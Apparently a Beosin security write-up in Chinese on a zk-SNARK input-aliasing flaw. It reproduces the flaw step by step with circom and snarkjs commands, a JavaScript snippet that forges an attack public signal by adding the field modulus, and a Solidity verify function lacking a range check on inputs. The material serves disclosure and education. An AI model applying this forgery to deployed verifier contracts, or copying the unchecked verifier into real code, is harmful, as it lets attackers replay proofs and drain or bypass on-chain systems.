其他
Beosin | 深度剖析零知识证明zk-SNARK漏洞:为什么零知识证明系统并非万无一失?
1. 什么是zk-SNARK?
2. 漏洞原理
3. 漏洞复现
3.1 编写 multiplier2.circom
pragma circom 2.0.0;
template Multiplier2() {
signal input a;
signal input b;
signal output c;
c <== a*b;
}
component main = Multiplier2();
3.2 编译电路
circom multiplier2.circom --r1cs --wasm --sym --c
3.3 计算witness
node generate_witness.js multiplier2.wasm input.json witness.wtns
3.4 可信设置
snarkjs powersoftau new bn128 12 pot12_0000.ptau -v
snarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="First contribution" -v
snarkjs powersoftau prepare phase2 pot12_0001.ptau pot12_final.ptau -v
snarkjs groth16 setup multiplier2.r1cs pot12_final.ptau multiplier2_0000.zkey
snarkjs zkey contribute multiplier2_0000.zkey multiplier2_0001.zkey --name="1st Contributor Name" -v
snarkjs zkey export verificationkey multiplier2_0001.zkey verification_key.json
3.5 生成证明
3.5.1 生成正常 publicSignal
snarkjs groth16 prove multiplier2_0001.zkey witness.wtns proof.json public.json
3.5.2 生成攻击 publicSignal
async function getProof() {
let inputA = "7"
let inputB = "11"
const { proof, publicSignals } = await snarkjs.groth16.fullProve({ a: inputA, b: inputB }, "Multiplier2.wasm", "multiplier2_0001.zkey")
console.log("Proof: ")
console.log(JSON.stringify(proof, null, 1));
let q = BigInt("21888242871839275222246405745257275088548364400416034343698204186575808495617")
let originalHash = publicSignals
let attackHash = BigInt(originalHash) + q
console.log("originalHash: " + publicSignals)
console.log("attackHash: " + attackHash)
}
3.6 验证证明
snarkjs zkey export solidityverifier multiplier2_0001.zkey verifier.sol
function verify(uint[] memory input, Proof memory proof) internal view returns (uint) {
VerifyingKey memory vk = verifyingKey();
require(input.length + 1 == vk.IC.length,"verifier-bad-input");
// Compute the linear combination vk_x
Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0);
for (uint i = 0; i < input.length; i++)
vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i]));
vk_x = Pairing.addition(vk_x, vk.IC[0]);
if (!Pairing.pairingProd4(
Pairing.negate(proof.A), proof.B,
vk.alfa1, vk.beta2,
vk_x, vk.gamma2,
proof.C, vk.delta2
)) return 1;
return 0;
}